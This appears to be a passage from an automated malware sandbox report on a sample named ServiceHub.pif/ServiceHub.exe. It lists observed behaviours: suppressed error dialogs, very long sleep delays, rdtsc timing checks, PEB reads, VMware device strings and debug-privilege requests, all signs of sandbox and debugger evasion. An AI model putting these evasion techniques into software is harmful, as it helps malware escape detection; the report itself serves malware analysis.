            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5704Thread sleep count: 8282 > 30Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5652Thread sleep time: -5534023222112862s >= -30000sJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5768Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5668Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6992Thread sleep time: -5534023222112862s >= -30000sJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exe TID: 5480Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pif TID: 2872Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exe TID: 1924Thread sleep count: 36 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exe TID: 1924Thread sleep time: -72000s >= -30000sJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pif TID: 7084Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\msiexec.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\msiexec.exeLast function: Thread delayed
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01275BA5 rdtsc 17_2_01275BA5
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifThread delayed: delay time: 922337203685477
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8282Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9121Jump to behavior
            Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 878
            Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 874
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeAPI coverage: 10.0 %
            Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifThread delayed: delay time: 922337203685477
            Source: powershell.exe, 00000008.00000003.474425875.000001FFDBF3A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\2556320Q
            Source: powershell.exe, 00000008.00000003.476059238.000001FFDBFC6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\
            Source: powershell.exe, 00000008.00000003.476059238.000001FFDBFAC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01275BA5 rdtsc 17_2_01275BA5
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A9100 mov eax, dword ptr fs:[00000030h]17_2_011A9100
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A9100 mov eax, dword ptr fs:[00000030h]17_2_011A9100
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A9100 mov eax, dword ptr fs:[00000030h]17_2_011A9100
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D513A mov eax, dword ptr fs:[00000030h]17_2_011D513A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D513A mov eax, dword ptr fs:[00000030h]17_2_011D513A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C4120 mov eax, dword ptr fs:[00000030h]17_2_011C4120
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C4120 mov eax, dword ptr fs:[00000030h]17_2_011C4120
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C4120 mov eax, dword ptr fs:[00000030h]17_2_011C4120
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C4120 mov eax, dword ptr fs:[00000030h]17_2_011C4120
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C4120 mov ecx, dword ptr fs:[00000030h]17_2_011C4120
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CB944 mov eax, dword ptr fs:[00000030h]17_2_011CB944
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CB944 mov eax, dword ptr fs:[00000030h]17_2_011CB944
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AB171 mov eax, dword ptr fs:[00000030h]17_2_011AB171
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AB171 mov eax, dword ptr fs:[00000030h]17_2_011AB171
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AC962 mov eax, dword ptr fs:[00000030h]17_2_011AC962
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012269A6 mov eax, dword ptr fs:[00000030h]17_2_012269A6
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D2990 mov eax, dword ptr fs:[00000030h]17_2_011D2990
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DA185 mov eax, dword ptr fs:[00000030h]17_2_011DA185
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012251BE mov eax, dword ptr fs:[00000030h]17_2_012251BE
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012251BE mov eax, dword ptr fs:[00000030h]17_2_012251BE
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012251BE mov eax, dword ptr fs:[00000030h]17_2_012251BE
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012251BE mov eax, dword ptr fs:[00000030h]17_2_012251BE
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CC182 mov eax, dword ptr fs:[00000030h]17_2_011CC182
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D61A0 mov eax, dword ptr fs:[00000030h]17_2_011D61A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D61A0 mov eax, dword ptr fs:[00000030h]17_2_011D61A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012341E8 mov eax, dword ptr fs:[00000030h]17_2_012341E8
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AB1E1 mov eax, dword ptr fs:[00000030h]17_2_011AB1E1
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AB1E1 mov eax, dword ptr fs:[00000030h]17_2_011AB1E1
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AB1E1 mov eax, dword ptr fs:[00000030h]17_2_011AB1E1
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D002D mov eax, dword ptr fs:[00000030h]17_2_011D002D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D002D mov eax, dword ptr fs:[00000030h]17_2_011D002D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D002D mov eax, dword ptr fs:[00000030h]17_2_011D002D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D002D mov eax, dword ptr fs:[00000030h]17_2_011D002D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D002D mov eax, dword ptr fs:[00000030h]17_2_011D002D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BB02A mov eax, dword ptr fs:[00000030h]17_2_011BB02A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BB02A mov eax, dword ptr fs:[00000030h]17_2_011BB02A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BB02A mov eax, dword ptr fs:[00000030h]17_2_011BB02A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BB02A mov eax, dword ptr fs:[00000030h]17_2_011BB02A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01274015 mov eax, dword ptr fs:[00000030h]17_2_01274015
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01274015 mov eax, dword ptr fs:[00000030h]17_2_01274015
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01227016 mov eax, dword ptr fs:[00000030h]17_2_01227016
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01227016 mov eax, dword ptr fs:[00000030h]17_2_01227016
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01227016 mov eax, dword ptr fs:[00000030h]17_2_01227016
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C0050 mov eax, dword ptr fs:[00000030h]17_2_011C0050
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C0050 mov eax, dword ptr fs:[00000030h]17_2_011C0050
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01271074 mov eax, dword ptr fs:[00000030h]17_2_01271074
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01262073 mov eax, dword ptr fs:[00000030h]17_2_01262073
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A9080 mov eax, dword ptr fs:[00000030h]17_2_011A9080
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DF0BF mov ecx, dword ptr fs:[00000030h]17_2_011DF0BF
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DF0BF mov eax, dword ptr fs:[00000030h]17_2_011DF0BF
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DF0BF mov eax, dword ptr fs:[00000030h]17_2_011DF0BF
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01223884 mov eax, dword ptr fs:[00000030h]17_2_01223884
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01223884 mov eax, dword ptr fs:[00000030h]17_2_01223884
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E90AF mov eax, dword ptr fs:[00000030h]17_2_011E90AF
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D20A0 mov eax, dword ptr fs:[00000030h]17_2_011D20A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D20A0 mov eax, dword ptr fs:[00000030h]17_2_011D20A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D20A0 mov eax, dword ptr fs:[00000030h]17_2_011D20A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D20A0 mov eax, dword ptr fs:[00000030h]17_2_011D20A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D20A0 mov eax, dword ptr fs:[00000030h]17_2_011D20A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D20A0 mov eax, dword ptr fs:[00000030h]17_2_011D20A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123B8D0 mov eax, dword ptr fs:[00000030h]17_2_0123B8D0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123B8D0 mov ecx, dword ptr fs:[00000030h]17_2_0123B8D0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123B8D0 mov eax, dword ptr fs:[00000030h]17_2_0123B8D0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123B8D0 mov eax, dword ptr fs:[00000030h]17_2_0123B8D0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123B8D0 mov eax, dword ptr fs:[00000030h]17_2_0123B8D0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123B8D0 mov eax, dword ptr fs:[00000030h]17_2_0123B8D0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A58EC mov eax, dword ptr fs:[00000030h]17_2_011A58EC
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A40E1 mov eax, dword ptr fs:[00000030h]17_2_011A40E1
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A40E1 mov eax, dword ptr fs:[00000030h]17_2_011A40E1
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A40E1 mov eax, dword ptr fs:[00000030h]17_2_011A40E1
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126131B mov eax, dword ptr fs:[00000030h]17_2_0126131B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AF358 mov eax, dword ptr fs:[00000030h]17_2_011AF358
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011ADB40 mov eax, dword ptr fs:[00000030h]17_2_011ADB40
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D3B7A mov eax, dword ptr fs:[00000030h]17_2_011D3B7A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D3B7A mov eax, dword ptr fs:[00000030h]17_2_011D3B7A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011ADB60 mov ecx, dword ptr fs:[00000030h]17_2_011ADB60
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01278B58 mov eax, dword ptr fs:[00000030h]17_2_01278B58
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01275BA5 mov eax, dword ptr fs:[00000030h]17_2_01275BA5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D2397 mov eax, dword ptr fs:[00000030h]17_2_011D2397
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DB390 mov eax, dword ptr fs:[00000030h]17_2_011DB390
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B1B8F mov eax, dword ptr fs:[00000030h]17_2_011B1B8F
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B1B8F mov eax, dword ptr fs:[00000030h]17_2_011B1B8F
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0125D380 mov ecx, dword ptr fs:[00000030h]17_2_0125D380
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126138A mov eax, dword ptr fs:[00000030h]17_2_0126138A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D4BAD mov eax, dword ptr fs:[00000030h]17_2_011D4BAD
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D4BAD mov eax, dword ptr fs:[00000030h]17_2_011D4BAD
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D4BAD mov eax, dword ptr fs:[00000030h]17_2_011D4BAD
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012253CA mov eax, dword ptr fs:[00000030h]17_2_012253CA
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012253CA mov eax, dword ptr fs:[00000030h]17_2_012253CA
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CDBE9 mov eax, dword ptr fs:[00000030h]17_2_011CDBE9
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D03E2 mov eax, dword ptr fs:[00000030h]17_2_011D03E2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D03E2 mov eax, dword ptr fs:[00000030h]17_2_011D03E2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D03E2 mov eax, dword ptr fs:[00000030h]17_2_011D03E2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D03E2 mov eax, dword ptr fs:[00000030h]17_2_011D03E2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D03E2 mov eax, dword ptr fs:[00000030h]17_2_011D03E2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D03E2 mov eax, dword ptr fs:[00000030h]17_2_011D03E2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C3A1C mov eax, dword ptr fs:[00000030h]17_2_011C3A1C
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A5210 mov eax, dword ptr fs:[00000030h]17_2_011A5210
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A5210 mov ecx, dword ptr fs:[00000030h]17_2_011A5210
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A5210 mov eax, dword ptr fs:[00000030h]17_2_011A5210
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A5210 mov eax, dword ptr fs:[00000030h]17_2_011A5210
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AAA16 mov eax, dword ptr fs:[00000030h]17_2_011AAA16
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AAA16 mov eax, dword ptr fs:[00000030h]17_2_011AAA16
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B8A0A mov eax, dword ptr fs:[00000030h]17_2_011B8A0A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126AA16 mov eax, dword ptr fs:[00000030h]17_2_0126AA16
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126AA16 mov eax, dword ptr fs:[00000030h]17_2_0126AA16
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E4A2C mov eax, dword ptr fs:[00000030h]17_2_011E4A2C
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E4A2C mov eax, dword ptr fs:[00000030h]17_2_011E4A2C
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0125B260 mov eax, dword ptr fs:[00000030h]17_2_0125B260
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0125B260 mov eax, dword ptr fs:[00000030h]17_2_0125B260
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01278A62 mov eax, dword ptr fs:[00000030h]17_2_01278A62
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A9240 mov eax, dword ptr fs:[00000030h]17_2_011A9240
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A9240 mov eax, dword ptr fs:[00000030h]17_2_011A9240
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A9240 mov eax, dword ptr fs:[00000030h]17_2_011A9240
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A9240 mov eax, dword ptr fs:[00000030h]17_2_011A9240
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E927A mov eax, dword ptr fs:[00000030h]17_2_011E927A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126EA55 mov eax, dword ptr fs:[00000030h]17_2_0126EA55
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01234257 mov eax, dword ptr fs:[00000030h]17_2_01234257
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DD294 mov eax, dword ptr fs:[00000030h]17_2_011DD294
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DD294 mov eax, dword ptr fs:[00000030h]17_2_011DD294
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BAAB0 mov eax, dword ptr fs:[00000030h]17_2_011BAAB0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BAAB0 mov eax, dword ptr fs:[00000030h]17_2_011BAAB0
